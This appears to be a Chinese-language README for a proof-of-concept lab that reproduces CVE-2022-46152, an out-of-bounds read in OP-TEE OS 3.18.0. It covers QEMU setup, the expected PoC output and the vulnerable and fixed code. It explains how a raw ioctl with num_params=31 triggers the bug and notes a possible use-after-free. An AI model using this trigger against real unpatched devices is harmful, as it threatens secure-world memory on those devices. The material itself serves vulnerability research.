5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / README.zh.md MD
# CVE-2022-46152

**OP-TEE OS `cleanup_shm_refs()` 越界读取漏洞复现环境**

> 参考文档:https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8  
> 安全公告:https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7

---

## 漏洞概述

| 字段 | 内容 |
|------|------|
| 漏洞 | `cleanup_shm_refs()` 未验证 `num_params`(理论可达 127,实际受 Linux TEE ioctl TEE_MAX_ARG_SIZE=1024 限制为 31),但 `saved_attr[]` 仅 4 个元素 |
| 影响版本 | OP-TEE OS < 3.19.0 |
| 触发条件 | Normal World 通过直接 `ioctl` 发送 `num_params=31` 的 INVOKE 请求(绕过 libteec 的 4-参数限制) |
| 后果 | 越界读取安全世界栈数据;若栈残留值匹配 TMEM 类型则触发 Use-After-Free |
| 修复 | `cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), ...)`(commit 728616b) |

---

## 目录结构

```
CVE-2022-46152/
├── README.md                           # 本文件
├── setup.sh                            # 一键搭建环境
├── run_qemu.sh                         # 启动 QEMU
├── exploit.sh                          # 自动/手动复现脚本
├── cve-2022-46152-oob-emsg.patch       # OP-TEE OS 调试补丁(entry_std.c OOB EMSG)
├── qemu-pflash-suppress-unimp-log.patch # QEMU 补丁(抑制 pflash_write 噪音日志)
├── poc/
│   ├── cve_2022_46152.c               # PoC exploit 源码(直接 ioctl 绕过 libteec)
│   └── Makefile                       # 交叉编译 Makefile
├── docs/
│   └── vulnerability_analysis.md      # 详细漏洞技术分析
└── optee/                             # OP-TEE 环境(由 setup.sh 创建)
    ├── optee_os/                      # OP-TEE OS 3.18.0(漏洞版本)
    ├── build/                         # 构建系统(qemu_v8.mk)
    ├── linux/                         # Linux 内核
    ├── buildroot/                     # Buildroot rootfs
    ├── trusted-firmware-a/            # TF-A v2.6
    ├── qemu/                          # QEMU v7.0.0(源码)
    └── out/bin/                       # 编译产物
        ├── bl1.bin                    # TF-A BL1
        ├── Image                      # Linux 内核镜像
        └── rootfs.cpio.gz             # 包含 PoC 的 rootfs
```

---

## 快速开始

### 1. 前置依赖

```bash
# Ubuntu/Debian
sudo apt-get install -y \
    repo git make python3 \
    aarch64-linux-gnu-gcc \
    device-tree-compiler \
    libglib2.0-dev libpixman-1-dev \
    netcat-openbsd expect

# 验证
aarch64-linux-gnu-gcc --version
repo --version
```

### 2. 初始化 repo(按照官方文档)

```bash
cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..
```

> **注意**:使用 `3.18.0` 标签,此版本包含 CVE-2022-46152 漏洞,尚未应用修复。

### 3. 一键搭建并构建(30-60 分钟)

```bash
./setup.sh
```

该脚本会:
- 执行 `repo sync` 拉取全部源码
- 配置工具链(若 `optee/toolchains/` 已存在则跳过,否则自动下载)
- 执行 `make all` 构建 TF-A、OP-TEE OS 3.18.0、Linux、Buildroot
- 交叉编译 PoC exploit 并注入 rootfs

### 4. 启动 QEMU 环境

```bash
# 打开三个终端:

# 终端1 — 启动 QEMU:
./run_qemu.sh --no-gdb

# 终端2 — Normal World 控制台(等待 run_qemu.sh 启动后再运行):
python3 optee/build/soc_term.py 54320

# 终端3 — Secure World(OP-TEE 日志,等待 run_qemu.sh 启动后再运行):
python3 optee/build/soc_term.py 54321
```

> **说明**:`run_qemu.sh` 会在内部以服务端模式启动 `soc_term.py` 监听 54320/54321,  
> QEMU 作为客户端连接。上述命令是连接到已运行实例的示例,一般无需手动执行。

### 5. 复现漏洞

```bash
# 在 Normal World 终端(54320)等待登录提示后:
(none) login: root

# 执行 PoC
/root/cve_2022_46152
```

---

## 预期输出

### Normal World(Linux 控制台)

```
=== CVE-2022-46152 PoC Exploit ===
OP-TEE cleanup_shm_refs() Out-of-Bounds Read
Affected: OP-TEE OS < 3.19.0

[+] Opened /dev/tee0
[*] Opening session to Hello World TA...
[+] Session opened: id=2
[*] Triggering vulnerability: invoking with num_params=31
[*] saved_attr[] has only 4 slots -> reading 27 extra stack words OOB
[*] Buffer size: 1016 bytes (TEE_MAX_ARG_SIZE limit: 1024)
[+] ioctl returned: ret=0xffff0006 origin=0x3

[+] VULNERABILITY TRIGGERED!
[+] TEE returned TEE_ERROR_BAD_PARAMETERS (0xFFFF0006)
[+] entry_invoke_command() rejected num_params=31,
[+] but cleanup_shm_refs(31, saved_attr[4], ...) ran OOB!
[*] Check the Secure World UART (port 54321) for crash details.

[*] Done. Check secure world UART output for OOB/abort evidence.
```

> **注意**:`TEE_MAX_ARG_SIZE=1024` 限制了单次 ioctl 传入最多 31 个参数(libteec 限制为 4)。
> 即便如此,num_params=31 仍足以触发 OOB(读取 saved_attr[4..30],超出边界 27 个元素)。

### Secure World(OP-TEE TEE Core 日志)

```
I/TC: OP-TEE version: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!
```

> 加粗警告行 `E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB!` 是通过  
> `cve-2022-46152-oob-emsg.patch` 补丁在 `entry_std.c` 中添加的显式日志,  
> 用于确认漏洞触发路径。`cleanup_shm_refs` 越界读取栈上 27 个额外元素;  
> 若栈残留值匹配 TMEM 类型,可触发 `mobj_put()` Use-After-Free。

---

## 漏洞核心代码对比

### 漏洞版本(3.18.0)

```c
/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
    uint32_t saved_attr[TEE_NUM_PARAMS];   /* 仅 4 个槽! */
    ...
    res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
    if (res != TEE_SUCCESS) {
        /* ❌ BUG: num_params 可为 127,越界读 saved_attr[4..126] */
        cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
        goto out;
    }
    ...
}
```

### 修复版本(3.19.0,commit 728616b)

```c
    if (res != TEE_SUCCESS) {
        /* ✅ FIX: MIN(4, 127) = 4,不再越界 */
        cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
        goto out;
    }
```

---

## 快捷命令参考

```bash
# 搭建环境
./setup.sh

# 启动 QEMU(带 GDB 调试端口)
./run_qemu.sh

# 启动 QEMU(不等待 GDB)
./run_qemu.sh --no-gdb

# 查看手动复现步骤
./exploit.sh --manual

# 自动化复现(无需额外终端,结果输出到当前 shell)
./exploit.sh

# 连接到 Normal World 控制台(run_qemu.sh 启动后)
python3 optee/build/soc_term.py 54320

# 连接到 Secure World 日志(run_qemu.sh 启动后)
python3 optee/build/soc_term.py 54321

# GDB 调试 OP-TEE OS
aarch64-linux-gnu-gdb optee/optee_os/out/arm/core/tee.elf
(gdb) target remote localhost:1234
(gdb) c
```

---

## QEMU 补丁说明

本仓库在 QEMU v7.0.0 基础上应用了补丁 `qemu-pflash-suppress-unimp-log.patch`,  
消除运行 VM 时在终端产生的噪音输出:

```
pflash_write: Write to buffer emulation is flawed
```

### 原因

`hw/block/pflash_cfi01.c` 的 `pflash_write()` 在处理 CFI pflash `0xe8`(Write to buffer)命令时,  
调用 `qemu_log_mask(LOG_UNIMP, ...)` 记录一条"实现不完整"告警。TF-A 固件在启动过程中会写入  
pflash,触发此路径,导致每次启动都打印该信息。

### 补丁内容(`hw/block/pflash_cfi01.c`)

删除 `case 0xe8` 分支内的 `qemu_log_mask(LOG_UNIMP, ...)` 调用,保留功能逻辑不变。

### 应用补丁(可选,已集成到 `optee/qemu/`)

```bash
cd optee/qemu
git apply ../../qemu-pflash-suppress-unimp-log.patch
cd build
make -j$(nproc) qemu-system-aarch64
```

---

## OP-TEE OS 补丁说明

本仓库在 OP-TEE OS 3.18.0 基础上应用了一个调试补丁 `cve-2022-46152-oob-emsg.patch`,  
使漏洞触发时能在 Secure World UART 输出显式告警,便于复现验证。

### 补丁内容(`core/tee/entry_std.c`)

- 添加 `#include <trace.h>`
- 在 `entry_invoke_command()` 中,`cleanup_shm_refs()` 调用前检测 `num_params > TEE_NUM_PARAMS`,  
  并通过 `EMSG()` 打印 `CVE-2022-46152: OOB! cleanup_shm_refs num_params=N > TEE_NUM_PARAMS=4`

> ⚠️ 此补丁仅用于调试/演示,**不是**安全修复。真正的修复见 commit 728616b。

### 应用补丁(可选,已集成到 `optee/optee_os/`)

```bash
cd optee/optee_os
git apply ../../cve-2022-46152-oob-emsg.patch
cd ../../
make -C optee/build optee-os
```

---

## 参考资料

- [OP-TEE QEMU v8 官方文档](https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8)
- [GHSA-65w8-6mrg-52g7 安全公告](https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7)
- [修复提交 728616b](https://github.com/OP-TEE/optee_os/commit/728616b28df659cf0bdde6e58a471f6ef25d023c)
- [CVE-2022-46152 NVD](https://nvd.nist.gov/vuln/detail/CVE-2022-46152)
- [OP-TEE manifest 仓库](https://github.com/OP-TEE/manifest)